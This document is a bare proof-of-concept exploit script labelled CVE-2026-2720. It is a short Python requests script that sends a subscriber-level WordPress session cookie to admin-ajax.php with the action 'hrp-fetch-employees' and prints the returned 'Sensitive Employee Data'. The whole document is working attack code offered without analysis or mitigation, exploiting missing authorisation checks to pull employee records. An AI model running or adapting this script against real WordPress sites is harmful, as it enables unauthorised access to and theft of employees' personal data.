CVE-2026-2720

import requests target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Attacker's authenticated session cookie (Subscriber level) cookies = { "wordpress_logged_in_xxx": "attacker_cookie_value_here" } # The vulnerable AJAX action payload = { "action": "hrp-fetch-employees" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Sensitive Employee Data:") print(response.json()) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

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